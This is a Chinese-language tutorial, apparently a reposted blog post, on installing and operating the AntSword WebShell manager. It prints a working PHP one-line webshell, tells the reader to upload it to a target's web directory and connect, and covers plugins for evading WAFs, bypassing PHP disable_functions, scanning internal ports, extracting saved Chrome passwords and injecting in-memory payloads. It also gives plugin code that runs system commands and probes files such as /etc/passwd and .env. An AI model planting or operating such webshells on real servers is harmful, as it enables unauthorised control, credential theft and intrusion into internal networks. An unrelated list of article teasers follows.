蚁剑--安装、使用

用途限制声明,本文仅用于网络安全技术研究、教育与知识分享。文中涉及的渗透测试方法与工具,严禁用于未经授权的网络攻击、数据窃取或任何违法活动。任何因不当使用本文内容导致的法律后果,作者及发布平台不承担任何责任。渗透测试涉及复杂技术操作,可能对目标系统造成数据损坏、服务中断等风险。读者需充分评估技术能力与潜在后果,在合法合规前提下谨慎实践。


一、蚁剑介绍

蚁剑(AntSword) 是一款开源的 WebShell 管理工具,专为渗透测试和安全研究设计。其核心功能是连接并管理通过漏洞上传的 WebShell(一种驻留在服务器上的恶意脚本),支持图形化操作,比传统命令行工具更高效。

特点:

  • 跨平台:基于 Electron 开发,支持 Windows、Linux、macOS。

  • 插件扩展:支持自定义插件(编码解码、数据嗅探等)。

  • 多协议支持:支持 HTTP/HTTPS,可自定义请求头绕过 WAF。

二、蚁剑原理

蚁剑的核心功能是通过 “一句话木马” 实现对目标服务器的远程控制,其工作流程如下:

  1. 植入木马:在目标服务器的网页脚本(如 PHP、ASP、JSP 等)中植入 “一句话木马”,例如 PHP 的典型木马为 <?php @eval($_POST['pass']);?>(其中pass是自定义的连接密码)。
  2. 建立连接:蚁剑通过发送 HTTP POST 请求,将控制指令(如文件操作、命令执行代码)以密码pass为标识传递给木马。
  3. 执行指令:目标服务器上的木马接收到请求后,通过eval等函数执行传递的代码,将结果返回给蚁剑,从而实现文件管理、命令执行、数据库操作等功能。
  4. 通信流程

      5.关键技术:

        动态密钥交换:客户端与 WebShell 协商 AES 密钥。

        流量伪装:通过 Cookie、Header 自定义躲避安全设备检测。

        模块化加载:核心功能(文件管理、数据库连接等)按需加载。

三、安装

有多个版本的,这里我们就以windows的为例

  1. 下载地址:访问蚁剑官方 GitHub 仓库(https://github.com/AntSwordProject/AntSword-Loader),根据操作系统(Windows、macOS、Linux)下载对应版本的加载器(压缩包形式)。访问不了github的,这里下载,蚁剑-一款强大的Webshell管理工具资源-CSDN下载
  2. 初始化环境
    • 解压加载器压缩包,以管理员权限运行加载器程序(如 Windows 下的AntSword.exe)。
    • 点击 “初始化” 按钮,选择一个本地文件夹作为工作目录,程序会自动下载并安装最新的源码和依赖。

进第一个,运行exe文件

需要进行初始化,选择第二个文件

  1. 启动程序:初始化完成后,重新打开加载器,即可进入蚁剑的图形化操作界面。

安装完成

四、使用

首先我们先创建一个一句话木马

<?php @eval($_POST['pass']);?>

然后将其上传至目标机的web目录下,访问,如下所示说明上传成功并且成功解析

 添加 WebShell,启动蚁剑→ 右键「添加」→ 填写信息:

  1. URL:WebShell 地址(如 http://target.com/shell.php

  2. 连接密码:WebShell 中预设的密码,就是一句话木马中的pass

  3. 编码器/解码器:默认选择 default(AES 加密)

  4. 点击「测试连接」→ 成功提示后保存。

连接成功然后添加即可,然后点击即可进入目标机,进行一系列操作

其中,蚁剑还有一个强大的功能,就是插件市场,那么具有哪些用途呢

插件市场的核心用途

  1. 增强基础功能

    • 文件管理:增加文件对比、批量操作等插件。

    • 终端增强:支持PowerShell、Python等交互式终端。

  2. 绕过安全防护

    • 绕过WAF:动态修改HTTP头部/Cookie躲避检测(如ModHeader插件)。

    • 突破disable_functions:利用LD_PRELOAD、FFI等技术执行被禁用的PHP函数。

  3. 漏洞利用自动化

    • 集成常见漏洞利用模块(如ThinkPHP RCE、WebLogic反序列化)。

  4. 内网渗透扩展

    • 端口扫描、Socks代理、内网主机发现(如PortScan插件)。

  5. 数据操作

    • 数据库导出(支持MySQL/MSSQL/Oracle)、配置文件解密。

插件安装方法

方式1:通过应用商店安装(推荐)

  1. 打开蚁剑 → 顶部菜单「插件」→「应用商店」。

  1. 搜索插件名称(如Bypass Disable Functions)→ 点击「安装」。
    https://antsword.gitee.io/docs/usage/plugins/images/plugin-store.png

方式2:手动安装插件

  1. 从GitHub下载插件(如蚁剑插件库)。

  2. 解压到蚁剑目录:antSword/plugins/

  3. 重启蚁剑生效。

注意:插件需与蚁剑版本兼容,否则可能报错。

关键插件使用示例

1. Bypass Disable Functions(绕过PHP限制)

  • 用途:突破PHP安全配置(如禁用system()函数)。

  • 操作步骤

    1. 连接WebShell → 右键目标Shell →「插件」→「Bypass Disable Functions」。

    2. 选择绕过方式(如LD_PRELOAD)→ 点击「执行」。

    3. 成功后终端自动切换至绕过环境,可执行任意命令。

2. PortScan(端口扫描)

  • 用途:扫描目标服务器内网开放端口。

  • 操作步骤

    1. 右键WebShell →「插件」→「PortScan」。

    2. 输入目标IP和端口范围(如192.168.1.1-254:80,443,3306)。

    3. 点击「扫描」→ 结果以表格形式展示。

3. ChromePass(浏览器密码提取)

  • 用途:获取服务器上Chrome保存的密码。

  • 步骤

    1. 确保目标为Windows系统。

    2. 启动插件 → 自动提取密码并显示明文结果。

4. ShellCodeLoader(内存马注入)

  • 用途:无文件攻击,将恶意载荷注入内存。

  • 步骤

    1. 生成Payload(如Java内存马)。

    2. 通过插件上传并注入到Tomcat等容器进程。

开发自定义插件

蚁剑支持JavaScript插件开发:

模块特点:

MyPlugin/
├── package.json    # 插件元数据
├── index.js        # 核心逻辑
└── icon.png        # 插件图标

例如一个简单的文件搜索插件,代码如下所示

'use strict';
module.exports = (core) => {// 注册右键菜单core.registerMenu('files', '搜索文件', async (e, path) => {const keyword = await core.prompt('输入关键字');const result = await core.request({url: e.URL,data: `search=${encodeURIComponent(keyword)}`});core.logger.info(`找到${result.length}个文件`);});
};

快速文件下载器插件

'use strict';module.exports = (core) => {// 注册文件管理右键菜单core.registerMenu('filemanager', '⚡ 快速下载', async (e, filePath) => {const savePath = await core.gui.dialog.save({title: '保存文件',filters: [{ name: 'All Files', extensions: ['*'] }]});if (!savePath) return;try {const stream = core.utils.file.sliceDownload(e, filePath);await core.utils.file.saveStream(savePath, stream);core.logger.success(`下载成功: ${savePath}`);} catch (err) {core.logger.error(`下载失败: ${err.message}`);}});
};

系统信息速查插件

'use strict';module.exports = (core) => {// 在Shell右键菜单添加选项core.registerMenu('shell', '🖥️ 系统信息', async (e) => {const commands = {'linux': 'uname -a; lscpu; free -h; df -h','win': 'systeminfo | findstr /B /C:"OS" /C:"CPU"; wmic memorychip get capacity; fsutil volume diskfree C:'};try {const osType = await core.request({ data: 'echo PHP_OS;' });const cmd = osType.includes('WIN') ? commands.win : commands.linux;const res = await core.request({ data: cmd });core.gui.alert(`### 系统信息\n\`\`\`\n${res}\n\`\`\``);} catch (err) {core.logger.error(`获取失败: ${err}`);}});
};

敏感文件扫描 

'use strict';module.exports = (core) => {core.registerMenu('shell', '🔍 扫描配置文件', async (e) => {const paths = ['/.env', '/config/database.php', '/WEB-INF/web.xml', '/etc/passwd','C:\\Windows\\win.ini'];let results = "发现以下配置文件:\n";for (const path of paths) {try {const res = await core.request({data: `file_exists("${path}") ? "1" : "0";`});if (res.includes('1')) results += `✅ ${path}\n`;} catch (e) { /* 忽略错误 */ }}core.gui.alert(results || "未找到常见配置文件");});
};

插件安装步骤:

  1. 在蚁剑目录创建插件文件夹:

    antSword/
    └── plugins/├── QuickDownloader/│   └── index.js├── SysInfo/│   └── index.js└── ConfigScanner/└── index.js
  2. 重启蚁剑 → 右键菜单将出现新功能

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/diannao/95786.shtml
繁体地址,请注明出处:http://hk.pswp.cn/diannao/95786.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Varjo XR虚拟现实军用车辆驾驶与操作培训

Patria基于混合现实的模拟器提供了根据现代车辆乘员需求定制的培训&#xff0c;与传统显示设置相比&#xff0c;全新的模拟解决方案具有更好的沉浸感和更小的物理空间需求。Patria是芬兰领先的国防、安全和航空解决方案提供商。提供尖端技术和全面的培训系统&#xff0c;以支持…

Java 10 新特性及具体应用

目录 1. 局部变量类型推断&#xff08;JEP 286&#xff09; 2. 不可修改集合&#xff08;JEP 269&#xff09; 3. 并行全垃圾回收&#xff08;JEP 307&#xff09; 4. 应用类数据共享&#xff08;JEP 310&#xff09; 5. 线程局部管控&#xff08;JEP 312&#xff09; 总结…

【力扣 Hot100】刷题日记

D8 全排列(非回溯法) 全排列原题链接 在刷leetcode的时候&#xff0c;看到这道题目并没法使用像STL的next_permutation方法&#xff0c;感叹C便利的同时&#xff0c;又惋惜Java并没有类似的API&#xff0c;那我们只能从原理入手了&#xff0c;仿写此算法。 其实回溯法更应该…

JetPack系列教程(七):Palette——让你的APP色彩“飞”起来!

JetPack系列教程&#xff08;七&#xff09;&#xff1a;Palette——让你的APP色彩“飞”起来&#xff01; 各位开发小伙伴们&#xff0c;还在为APP的配色发愁吗&#xff1f;别担心&#xff0c;今天咱们就来聊聊JetPack家族里的“色彩魔法师”——Palette&#xff01;这个神奇的…

力扣hot100 | 矩阵 | 73. 矩阵置零、54. 螺旋矩阵、48. 旋转图像、240. 搜索二维矩阵 II

73. 矩阵置零 力扣题目链接 给定一个 m x n 的矩阵&#xff0c;如果一个元素为 0 &#xff0c;则将其所在行和列的所有元素都设为 0 。请使用 原地 算法。 示例 1&#xff1a; 输入&#xff1a;matrix [[1,1,1],[1,0,1],[1,1,1]] 输出&#xff1a;[[1,0,1],[0,0,0],[1,0,1]]…

ARC与eARC是什么?主要用在哪?

在家庭影音设备不断升级的今天&#xff0c;人们对音视频体验的要求越来越高。无论是追剧、玩游戏还是观看电影大片&#xff0c;很多用户不再满足于电视自带的扬声器&#xff0c;而是希望借助回音壁、功放或家庭影院系统&#xff0c;获得更加震撼的沉浸式声音体验。一、ARC是什么…

解锁JavaScript性能优化:从理论到实战

文章目录 前言 一、常见性能瓶颈剖析 二、实战案例与优化方案 (一)DOM 操作优化案例​ (二)事件绑定优化案例​ (三)循环与递归优化案例​ (四)内存管理优化案例​ 三、性能优化工具介绍 总结 前言 性能优化的重要性 在当今数字化时代,Web 应用已成为人们生活和工作…

结构化记忆、知识图谱与动态遗忘机制在医疗AI中的应用探析(上)

往期相关内容推荐: 基于Python的多元医疗知识图谱构建与应用研究(上)

XSS攻击:从原理入门到实战精通详解

一、XSS攻击基础概念1.1 什么是XSS攻击 XSS&#xff08;Cross-Site Scripting&#xff0c;跨站脚本攻击&#xff09;是一种将恶意脚本注入到可信网站中的攻击手段。当用户访问被注入恶意代码的页面时&#xff0c;浏览器会执行这些代码&#xff0c;导致&#xff1a;用户会话被劫…

Leetcode 14 java

今天复习一下以前做过的题目&#xff0c;感觉是忘光了。 160. 相交链表 给你两个单链表的头节点 headA 和 headB &#xff0c;请你找出并返回两个单链表相交的起始节点。如果两个链表不存在相交节点&#xff0c;返回 null 。 图示两个链表在节点 c1 开始相交&#xff1a; 题目数…

用 FreeMarker 动态构造 SQL 实现数据透视分析

在 ERP、BI 等系统中&#xff0c;数据透视分析&#xff08;Pivot Analysis&#xff09;是非常常见的需求&#xff1a;用户希望按任意维度&#xff08;如门店、时间、商品分类等&#xff09;进行分组统计&#xff0c;同时选择不同的指标&#xff08;如 GMV、订单数、客单价等&am…

13.深度学习——Minst手写数字识别

第一部分——起手式 import torch from torchvision import datasets, transforms import torch.nn as nn import torch.nn.functional as F import torch.optim as optimuse_cuda torch.cuda.is_available()if use_cuda:device torch.device("cuda") else: device…

【JAVA高级】实现word转pdf 实现,源码概述。深坑总结

之前的需求做好后,需求,客户突发奇想。要将生成的word转为pdf! 因为不想让下载文档的人改动文档。 【JAVA】实现word添加标签实现系统自动填入字段-CSDN博客 事实上这个需求难度较高,并不是直接转换就行的 word文档当中的很多东西都需要处理 public static byte[] gener…

数据驱动测试提升自动化效率

测试工程师老王盯着满屏重复代码叹气&#xff1a;“改个搜索条件要重写20个脚本&#xff0c;这班加到啥时候是个头&#xff1f;” 隔壁组的小李探过头&#xff1a;“试试数据驱动呗&#xff0c;一套脚本吃遍所有数据&#xff0c;我们组上周测了300个组合都没加班&#xff01;”…

模板引用(Template Refs)全解析2

三、v-for 中的模板引用 当在 v-for 中使用模板引用时,引用的 value 会自动变为一个数组,包含列表中所有元素/组件的引用(需 Vue 3.5+ 版本,旧版需手动处理且顺序不保证)。 1. 基本用法(Vue 3.5+) <script setup> import { ref, useTemplateRef, onMounted } f…

【Linux系统】进程间通信:System V IPC——共享内存

前文中我们介绍了管道——匿名管道和命名管道来实现进程间通信&#xff0c;在介绍怎么进行通信时&#xff0c;我们有提到过不止管道的方式进行通信&#xff0c;还有System V IPC&#xff0c;今天这篇文章我们就来学习一下System V IPC中的共享内存1. 为何引入共享内存&#xff…

[优选算法专题二滑动窗口——最大连续1的个数 III]

题目链接 最大连续1的个数 III 题目描述 题目解析 问题本质 输入&#xff1a;二进制数组nums&#xff08;只包含 0 和 1&#xff09;和整数k操作&#xff1a;最多可以将k个 0 翻转成 1目标&#xff1a;找到翻转后能得到的最长连续 1 的子数组长度 这个问题的核心是要找到一…

C#单元测试(xUnit + Moq + coverlet.collector)

C#单元测试 xUnit Moq coverlet.collector 1.添加库 MlyMathLib 2.编写库函数内容 using System;namespace MlyMathLib {public interface IUserRepo{string GetName(int id);}public class UserService{private readonly IUserRepo _repo;public UserService(IUserRepo repo…

【数据库】Oracle学习笔记整理之五:ORACLE体系结构 - 参数文件与控制文件(Parameter Files Control Files)

Oracle体系结构 - 参数文件与控制文件&#xff08;Parameter Files & Control Files&#xff09; 参数文件与控制文件是Oracle数据库的“双核基石”&#xff1a;参数文件是实例的“启动配置中心”&#xff0c;定义运行环境与规则&#xff1b;控制文件是数据库的“物理元数据…

GDB典型开发场景深度解析

GDB典型开发场景深度解析 以下是开发过程中最常见的GDB使用场景&#xff0c;结合具体实例和调试技巧&#xff0c;帮助开发者高效解决实际问题&#xff1a;一、崩溃分析&#xff08;Core Dump调试&#xff09; 场景&#xff1a;程序突然崩溃&#xff0c;生成了core文件 # 启动调…